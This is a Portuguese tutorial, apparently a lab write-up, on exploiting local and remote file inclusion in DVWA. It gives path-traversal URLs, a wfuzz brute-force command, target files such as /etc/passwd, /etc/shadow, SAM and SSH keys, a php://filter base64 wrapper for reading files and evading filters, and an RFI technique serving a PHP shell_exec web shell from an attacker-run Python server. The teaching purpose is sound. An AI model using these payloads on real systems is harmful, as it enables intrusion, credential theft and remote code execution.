depth of field photography of file arrangement

File Inclusion

O que é

Um servidor web é muito parecido com o sua desktop.
Isso quer dizer que a sua estrutura de acesso de arquivos também é, e podemos se aproveitar disso

É comum um serviço acessar arquivos locais ou remotos, alguns exemplos simples são:
Digamos que o servidor precisa retornar algum Log que foi gerado por outra ferramenta, ele pode abrir o arquivo e disponibilizar ele na página web.
Ou para o caso remoto o mesmo serviço precisa retornar valores de um outro servidor, então ele inclui esses arquivos diretamente.

Onde existe uma possibilidade existe um perigo. Se um serviço não foi corretamente configurado, essas chamadas para arquivos podem se tornar uma péssima vulnerabilidade. Pois podemos alterar o caminho do arquivo. Então em vez de acessar um log a plataforma retorna uma senha.

Como sempre! Esse vídeo é apenas educativo, Não faça isso sem autorização se não um alien azul vai comer o seu pastel e colocar sal no seu suco!

DVWA

Entrando no menu correspondente a inclusão de arquivos ou File Inclusion

Surgem algumas opções, quando você clica em qualquer file note a url que se altera para conter o page=

Esse é o ponto de injeção da vulnerabilidade. Mas vamos entender isso melhor
Entre na pasta do Xampp e navegue até onde fica essa vulnerabilidade

Lembre que uma plataforma Web funciona muito parecido com uma pasta, ela pode acessar os arquivos que estão dentro dessa pasta e aqui é um exemplo disso.
Vamos alterar o File1 só para ter certeza de que esse é o arquivo que estamos retornando

Vou alterar alguns valores só para verificar se ele reflete na página

Viu só! A plataforma está buscando um arquivo local do servidor. Isso significa a possibilidade de uma vulnerabilidade.
Mas como assim?
Se a plataforma está procurando um arquivo, é só isso que precisamos fornecer. Porém se ela não está filtrando o input, qualquer arquivo vale. Mesmo arquivos que não deveriam ser acessados.
Deixa eu exemplificar isso.
Vou criar um novo arquivo .php na pasta

O Arquivo SuperSegredo.php é novo e não está listado nas opções do WebSite

Mas lembra que o sistema está apenas incluindo um arquivo php na url, então mesmo sem a opção podemos alterar a URL para conter o arquivo

E ai está! Ele puxou o nosso novo arquivo .php
Isso quer dizer que podemos executar qualquer arquivo do sistema que possuímos privilegio para isso
Vamos dar uma breve olhada no código que está vulnerável

Nenhuma sanitização. Assim como tínhamos previsto
Veja que esse código tem 1 linha praticamente e pode significar uma brecha enorme no seu sistema! A Cyber Segurança não é linda?
Agora coloque seu capuz, vamos explorar essa vulnerabilidade. Brincadeira você só precisa de café, todo mundo sabe disso.

Local File Inclusion

Local File Inclusion ou LFI é a inclusão de arquivos locais do servidor, assim como fizemos com o SuperSegredo.php
Aqui temos a possibilidade de retornar qualquer arquivo do sistema interno.
Só precisamos lembrar de alguns detalhes, o primeiro é o controle de diretórios. Isso exige um pouco de conhecimento do terminal mas vamos repassar o assunto para ficar claro
Abra o seu CMD no windows ou o terminal é a mesma coisa para esses casos

Da uma olhada na pasta que estamos agora, o comando para entrar em uma pasta é cd de Change Directory

E para retornar um diretório utilizamos ../

Podemos adicionar mais ../ para retornar mais de um diretório por vez

Era só isso que precisamos lembrar.
O segundo ponto para ter em mente é o privilegio. Usuário que não possuem privilégio máximo não podem acessar alguns arquivos, isso quer dizer que caso tentamos retornar um arquivo do sistema muito importante ( No Windows o arquivo normalmente é o SAM/System e no Linux o /etc/Shadow, já que eles possuem a hash de todas as senhas locais) se o nosso privilégio não é suficiente, não vamos conseguir!
Mas chega de teoria, vamos explorar esse negocio
Eu vou criar um novo arquivo para ilustrar um possível vetor de ataque no desktop do meu usuário eu vou criar o Senhas.txt

Poderia ser em qualquer lugar ok? Eu vou usar o desktop só por ficar mais fácil de explicar
Eu vou assumir alguns valores aqui para mostrar um ataque, mas já vamos passar para um caso mais real.
Ok, queremos retornar o arquivos senhas.txt mas se você tentar colocar ele na URL não vai dar certo.

Isso pq a plataforma está tentando puxar esse arquivo de dentro da pasta que estamos vendo antes, a que continha todos os arquivos file, lembra?

E o nosso arquivo não está lá.
Então sempre que vamos explorar uma LFI precisamos controlar o diretório que estamos, a questão aqui é que em um caso real, você não saberia quantos diretórios você precisa voltar para chegar no raiz
No Windows queremos chegar no C: e para o Linux o /
Dentro desses dois, tem como saber para onde navegar, é só conhecer o Sistema operacional (Essa é a razão para conhecer muito bem Linux,Windows e Mac)
No Windows qualquer desktop fica dentro de C:/Users/NomeDoUsuário
No Linux /home/

Agora vem a parte que eu comentei não ser muito realista, eu sei o nome do usuário! Então eu vou acessar /Users/MrSeven mas isso não seria o caso sempre. Um usuário que sempre está dentro de /Users é o Administrator mas lembra dos privilégios? Se um sistema permite a plataforma web Acessar arquivos como admin, ele foi configurada com um alvo nas costas.
Mas para o exemplo eu vou assumir que eu sei o usuário.
Na URL eu vou adicionar vários ../ sem contar mesmo. Eu quero ter certeza que não importa o diretório que estamos eu vou voltar até chegar no Raiz. Então:

Agora provavelmente estamos no C: o próximo é users

Depois o nome do usuário

E agora o arquivo

E pronto! Acessamos um arquivo qualquer do sistema, isso é uma LFI

Vamos falar agora um pouco mais sobre um caso realista.

Real

A não ser que outras partes do sistema informem o nome do usuário, provavelmente você não vai saber isso. Mas ai que entram algumas outras coisas
Existem arquivos que são importantes e estão sempre presentes, já vamos falar deles, mas também a possibilidade do BruteForce.

Deixa eu ir para o meu Kali, e agora vamos enviar aquela chamada para o Burp
Ei! Lembra que podemos usar o mesmo payload, o LFI está acessando os arquivos do Servidor obviamente, então eles continua retornando o Senhas.txt
Vamos usar o Burp para um BruteForce assim como fizemos outras vezes!

Enviamos para o Intruder e eu vou selecionar o diretório como entrada
E nos payloads adicionamos todos os arquivos que são importantes.
Mas na verdade existem listas para isso!
E com toda certeza eu não utilizaria o Burp, ele é muito lento!
As listas podem mudar dependendo do sistema, afinal os arquivos de um Ubuntu seriam bem diferentes do Windows.
Uma rápida busca no google por LFI OS Wordlist vai te retonar várias possibilidades.

Outro detalhe é que por gosto mesmo eu prefiro utilizar o GoBuster ou o Wfuzz
São ferramentas melhores para esse tipo de coisa já que fica muito mais rápido
Vou mostrar o wfuzz

wfuzz -c -b PHPSESSID=gb233a91uackc7s6p2lip9u6gs -b security=low -w wordlist.txt http://192.168.140.133/DVWA/vulnerabilities/fi/?page=../../../.././../../../../../FUZZ

-c para deixar o output colorido
-b para passar os Cookies, lembra que fazemos um login no DVWA
-w é a lista que queremos atacar
Depois a URL, lembra de adicionar todos os ../../../../ e no final digitamos FUZZ para indicar onde o wfuzz vai colocar as linhas da wordlist

Mesmo retornando um 200 só o que voltou algo é diferente. Então sabemos que o Arquivo existe mesmo

Arquivos Interessantes

Arquivos que são importantes para você procurar em CTFS

  • O SSH do usuário (Normalmente em /usuário/.ssh)
  • /proc/self/environ
  • /proc/self/cmdline
  • /etc/passwd
  • System32/SAM
  • System32/System
    Entre outros que podem te ajudar a encontrar mais coisas!

PHP Wrappers

Outra coisa para sempre lembrar em casos de LFI é o uso de Wrappers caso a página seja em PHP
Quando os dados não podem ser retornados ou são muito grandes e fica difícil de ler, existem algumas maneiras de melhorar isso
Um exemplo claro disso é o uso do Convert.base64

page=php://filter/convert.base64-encode/resource=ARQUIVO

Depois é só decodificar a base64
Isso tipo de uso de Wrappers também ajuda para evitar filtros!

Remote File Inclusion

Agora vamos para a Remote File Inclusion ou RFI.
O Principio é exatamente o mesmo que já analisamos anteriormente, porém em vez de adicionar um arquivo que o servidor tem no seu próprio sistema
Podemos adicionar um arquivo do nosso sistema para o servidor! Isso é muito bom pois normalmente vamos tentar colocar uma shell para esses casos
Então primeiro no nosso kali precisamos criar algum tipo de WebServidor para o DVWA acessar.
O Python ajuda muito com um simples código

python3 -m http.server 80 

Agora em vez de passar um arquivo, vamos fornecer uma URL que aponta para o Kali

Olha que legal!
O DVWA abriu o meu Web Server e puxou todos os arquivos contidos na pasta onde abrimos aquele Python server
Então… se eu criar uma Web Shell (Nesse caso em PHP, que é a linguagem da plataforma) o servidor vai executar
Vamos criar uma simples

<?php echo shell_exec("dir");?>

Esse comando vai listar todos os arquivos do Diretório do Servidor

E olha só! Podemos executar códigos no servidor.

Fica o desafio! Tente utilizar o mesmo ataque para em vez de executar “dir” você adquirir uma shell completa!
(Desative o Defender do seu Servidor, caso ele esteja no Windows)

Fique de olho

  • Outras coisas para dar uma olhada são Bypass (Formas de evitar alguns filtros)
  • Parâmetros que chamam a atenção e indicam uma possível File Inclusion
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

https://book.hacktricks.xyz/pentesting-web/file-inclusion

  • Sempre tenha uma lista de Wrappers isso ajuda muito!